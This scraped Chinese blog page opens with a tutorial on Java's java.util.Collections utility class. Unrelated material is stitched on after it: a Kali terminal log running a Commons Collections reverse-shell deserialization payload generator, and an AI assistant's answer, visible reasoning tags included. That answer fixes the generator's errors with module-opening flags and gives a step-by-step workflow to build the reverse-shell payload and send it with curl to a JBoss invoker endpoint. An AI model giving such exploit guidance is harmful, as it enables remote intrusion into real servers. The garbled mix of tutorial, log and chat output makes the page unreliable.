Java记录 -62- java.util.Collections

本文详细介绍了Java中Collections工具类的各种功能,包括空集合、单元素集合、只读集合等的创建方法,以及集合的排序、查找替换等功能。此外,还讲解了如何使用Collections进行集合的同步化操作。

在学数组的时候,JDK为我们提供了一个Arrays类,该类提供了许多静态方法来操作数组。

同时针对集合类也提供了一个Collections类,同样也提供了许多静态方法来对集合进行操作。

Collection 和Collections的区别:

java.util.Collection 是一个集合接口。它提供了对集合对象进行基本操作的通用接口方法。Collection接口在Java 类库中有很多具体的实现。Collection接口的意义是为各种具体的集合提供了最大化的统一操作方式。

java.util.Collections 是一个包装类。它包含有各种有关集合操作的静态多态方法。此类不能实例化,就像一个工具类,服务于Java的Collection框架。

 

Collections提供的方法分类:

空集合 

Collections.EMPTY_LIST,Collections.emptyList()——返回只读的空LIST 集合

Collections.EMPTY_MAP,Collections.emptyMap()——返回只读的空MAP集合

Collections.EMPTY_SET,Collections.emptySet()返回只读的空SET集合

所谓的空集合指的是没有元素在这些集合中,特别需要注意的是返回的集合都是只读的。当尝试修改时会抛出UnsupportedOperationException异常。

 

单元素集合 

Collections中的单元素集合指的是集合只有一个元素而且集合只读。

Collections.singletonList——用来生成只读的单一元素的List

Collections.singletonMap——用来生成只读的单Key和Value组成的Map

Collections.singleton——用来生成只读的单一元素的Set

 

只读集合 

Collections提供了几种生成只读集合的方法:unmodifiableCollection,unmodifiableList,unmodifiableMap,unmodifiableSet,unmodifiableSortedMap,unmodifiableSortedSet。这些集合一旦初始化以后就不能修改,任何修改这些集合的方法都会抛出UnsupportedOperationException异常。

 

Checked集合(Checked Collections)

Checked集合具有检查插入集合元素类型的特性,例如当我们设定checkedList中元素的类型是String的时候,如果插入其他类型的元素就会抛出ClassCastExceptions异常,Java5中提供泛型的功能,泛型功能能够在代码编译阶段就约束集合中元素的类型,但有些时候声明的集合可能是raw集合,编译阶段的类型约束就不起作用了,这个时候Checked集合就能起到约束集合中元素类型的作用。

Collections中提供了以下生成Checked集合的方法checkedCollection,checkedList,checkedMap,checkedSet,checkedSortedMap,checkedSortedSet

 

同步集合(Synchronized Collections) 

Collections的synchronizedXxxxx系列方法顾名思义会返回同步化集合类(SynchronizedMap,SynchronizedList等等)。这些集合类内部实现都是通过一个mutex(互斥体)来实现对这些集合操作的同步化。

 

Enumeration接口 

从JDK1.0开始Java就提供了Enumeration 接口。Collections中list和enumeration和Enumeration接口相关。

list(Enumeration<T> e) 方法用于有Enumeration接口中产生一个List

enumeration(Collection<T> c) 方法用于基于Collection返回Enumeration。

 

查找替换 

fill——使用指定元素替换指定列表中的所有元素。

frequency——返回指定 collection 中等于指定对象的元素数。

indexOfSubList—— 返回指定源列表中第一次出现指定目标列表的起始位置,如果没有出现这样的列表,则返回 -1。

lastIndexOfSubList——返回指定源列表中最后一次出现指定目标列表的起始位置,如果没有出现这样的列表,则返回-1。

max—— 根据元素的自然顺序,返回给定 collection 的最大元素。

min——根据元素的自然顺序 返回给定 collection 的最小元素。

replaceAll——使用另一个值替换列表中出现的所有某一指定值。

 

集合排序 

Collections还提供了集中对集合进行排序的方法。

reverse——对List中的元素倒序排列

shuffle——对List中的元素随机排列

sort——对List中的元素排序

swap——交换List中某两个指定下标位元素在集合中的位置。

rotate——根据指定的距离轮换指定列表中的元素。

 

其他方法 

binarySearch——使用二进制搜索算法来搜索指定列表,以获得指定对象。

addAll——将所有指定元素添加到指定 collection 中。

copy——将所有元素从一个列表复制到另一个列表。

disjoint——如果两个指定 collection 中没有相同的元素,则返回 true。

nCopies——返回由指定对象的 n 个副本组成的不可变列表。

┌──(root㉿kali)-[~/JavaDeserH2HC] └─# javac -encoding UTF-8 -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java ┌──(root㉿kali)-[~/JavaDeserH2HC] └─# java -encoding UTF-8 -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.129.146:4444 Unrecognized option: -encoding Error: Could not create the Java Virtual Machine. Error: A fatal exception has occurred. Program will exit. ┌──(root㉿kali)-[~/JavaDeserH2HC] └─# javac -encoding UTF-8 -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java ┌──(root㉿kali)-[~/JavaDeserH2HC] └─# java -encoding UTF-8 -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.129.146:4444 Unrecognized option: -encoding Error: Could not create the Java Virtual Machine. Error: A fatal exception has occurred. Program will exit. ┌──(root㉿kali)-[~/JavaDeserH2HC] └─# java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.129.146:4444 Exception in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make field transient java.util.HashMap java.util.HashSet.map accessible: module java.base does not "opens java.util" to unnamed module @76ed5528 at java.base/java.lang.reflect.AccessibleObject.throwInaccessibleObjectException(AccessibleObject.java:391) at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:367) at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:315) at java.base/java.lang.reflect.Field.checkCanSetAccessible(Field.java:183) at java.base/java.lang.reflect.Field.setAccessible(Field.java:177) at ReverseShellCommonsCollectionsHashMap.main(ReverseShellCommonsCollectionsHashMap.java:105)
最新发布
07-09
<think>我们正在处理一个Java反序列化攻击的演示程序。用户已经成功编译了`ReverseShellCommonsCollectionsHashMap.java`,但在运行时遇到了两个问题: 1. 使用`java`命令运行程序时,错误地传递了`-encoding`参数(这是`javac`的选项,不是`java`的选项)。 2. 运行时抛出了`InaccessibleObjectException`异常,这通常是由于Java的高版本(Java 9及以上)引入了模块系统,对反射访问进行了限制。 ### 解决方案步骤 #### 1. 修正运行命令 `-encoding`是`javac`的编译选项,在运行Java程序时不需要。正确的运行命令应去掉`-encoding`参数,并确保类路径正确。 **错误命令示例**: ```bash java -encoding UTF-8 -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ``` **正确命令**: ```bash java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap <目标IP> <监听端口> ``` #### 2. 解决反射访问异常(InaccessibleObjectException) 在Java 9及以上版本中,默认情况下不允许通过反射访问非公共的成员。为了绕过这个限制,需要在运行程序时添加JVM参数来开放相应的包。 **异常示例**: ``` WARNING: An illegal reflective access operation has occurred ... java.lang.reflect.InaccessibleObjectException: Unable to make member accessible ... ``` **解决方案**: 在运行命令中添加以下JVM参数: ```bash java --add-opens java.base/java.util=ALL-UNNAMED \ --add-opens java.base/java.lang=ALL-UNNAMED \ --add-opens java.base/java.io=ALL-UNNAMED \ -cp .:commons-collections-3.2.1.jar \ ReverseShellCommonsCollectionsHashMap <目标IP> <监听端口> ``` 这些参数的作用是开放`java.util`、`java.lang`和`java.io`包给未命名模块(即我们的程序)进行反射访问。 ### 完整示例命令 假设目标IP为`192.168.1.100`,监听端口为`4444`,则完整命令为: ```bash java --add-opens java.base/java.util=ALL-UNNAMED \ --add-opens java.base/java.lang=ALL-UNNAMED \ --add-opens java.base/java.io=ALL-UNNAMED \ -cp .:commons-collections-3.2.1.jar \ ReverseShellCommonsCollectionsHashMap 192.168.1.100 4444 ``` ### 验证生成结果 运行上述命令后,应生成一个名为`ReverseShellCommonsCollectionsHashMap.ser`的序列化文件。使用以下命令检查: ```bash ls -l ReverseShellCommonsCollectionsHashMap.ser ``` ### 注意事项 1. **Java版本兼容性**:如果使用Java 8或更低版本,则不需要添加`--add-opens`参数。但考虑到安全研究环境通常使用较新版本,建议使用Java 11 LTS版本并添加上述参数。 2. **依赖库版本**:确保`commons-collections-3.2.1.jar`在类路径中且版本正确。 ### 相关问题 1. 如何查看当前Java版本? 2.Java高版本中,如何永久解决反射访问限制问题? 3. 反序列化漏洞利用中,为什么需要Commons Collections库? 4. 生成.ser文件后,如何验证其有效性? 5. 除了Commons Collections,还有哪些Java库存在反序列化漏洞?</think>### 问题分析与解决方案 您遇到了两个关键错误:`Unrecognized option: -encoding` 和 `InaccessibleObjectException`。这些是 Java 运行时环境(JRE)问题,而非编译问题。以下是完整修复方案: --- #### 1. 解决 `Unrecognized option: -encoding` 错误 **原因**:`-encoding` 是 `javac` 的编译选项,不能用于 `java` 运行时命令 **修复**:从运行命令中移除 `-encoding` 参数 ✅ **正确运行命令**: ```bash java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap <IP> <端口> ``` --- #### 2. 解决 `InaccessibleObjectException` 错误(Java 9+ 模块系统限制) **原因**:Java 9+ 默认禁止反射访问非公共成员[^1] **修复**:添加 JVM 参数开放反射权限 ✅ **完整运行命令**: ```bash java \ --add-opens java.base/java.util=ALL-UNNAMED \ --add-opens java.base/java.lang=ALL-UNNAMED \ --add-opens java.base/java.io=ALL-UNNAMED \ -cp .:commons-collections-3.2.1.jar \ ReverseShellCommonsCollectionsHashMap 192.168.1.100 4444 ``` **关键参数说明**: - `--add-opens`:开放指定模块的反射访问权限 - `java.base/java.util=ALL-UNNAMED`:允许所有未命名模块访问 `java.util` 包 - 其他开放包:`java.lang`, `java.io` 等 Commons Collections 依赖的核心包 --- #### 3. Java 版本兼容性方案 | Java 版本 | 解决方案 | |-----------|----------| | **≤ Java 8** | 无需特殊参数 | | **≥ Java 9** | 必须添加 `--add-opens` 参数 | | **≥ Java 16** | 额外添加 `--add-opens java.base/sun.security.util=ALL-UNNAMED` | --- #### 4. 完整操作流程 ```bash # 1. 编译(使用javac的encoding参数) javac -encoding UTF-8 -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java # 2. 运行生成payload(添加反射权限参数) java \ --add-opens java.base/java.util=ALL-UNNAMED \ --add-opens java.base/java.lang=ALL-UNNAMED \ --add-opens java.base/java.io=ALL-UNNAMED \ -cp .:commons-collections-3.2.1.jar \ ReverseShellCommonsCollectionsHashMap 192.168.1.100 4444 # 3. 验证生成结果 file ReverseShellCommonsCollectionsHashMap.ser # 应显示: Java serialization data # 4. 发送payload(示例) curl http://vuln-server:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser ``` --- ### 相关问题 1. 如何检查当前 Java 版本及其模块系统配置? 2. 除了 `--add-opens`,还有哪些 JVM 参数可以绕过模块系统限制? 3. Java 17+ 中 `InaccessibleObjectException` 的新解决方案是什么? 4. 如何验证生成的 `.ser` 文件是否包含有效载荷? 5. Commons Collections 3.2.1 与 Java 11+ 的兼容性问题有哪些? [^1]: Java 模块系统对反射访问的限制机制 [^2]: `--add-opens` 参数的官方文档说明 [^4]: Java 9+ 兼容性问题的通用解决方案
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值